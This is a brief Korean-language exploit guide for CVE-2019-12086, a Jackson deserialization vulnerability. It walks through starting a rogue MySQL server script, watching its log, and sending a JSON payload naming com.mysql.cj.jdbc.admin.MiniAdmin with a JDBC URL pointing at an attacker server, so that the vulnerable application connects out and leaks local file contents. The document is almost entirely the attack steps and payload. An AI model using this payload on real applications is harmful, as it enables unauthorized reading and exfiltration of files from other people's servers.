문서 설명

CVE-2019-12086 jackson 역직렬화

취약점 이용

1. 악성 MySQL 서버 시작:

python rogue_mysql_server.py

2. 동일한 디렉토리에서 mysql.log 확인:

tail -f mysql.log

3. 취약점이 있는 애플리케이션에 다음 json 전송:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

Jackson이 악성 json 문자열을 역직렬화하면 악성 MySQL 서버에 연결되고, 읽힌 파일 내용이 악성 서버의 mysql.log에 기록됩니다.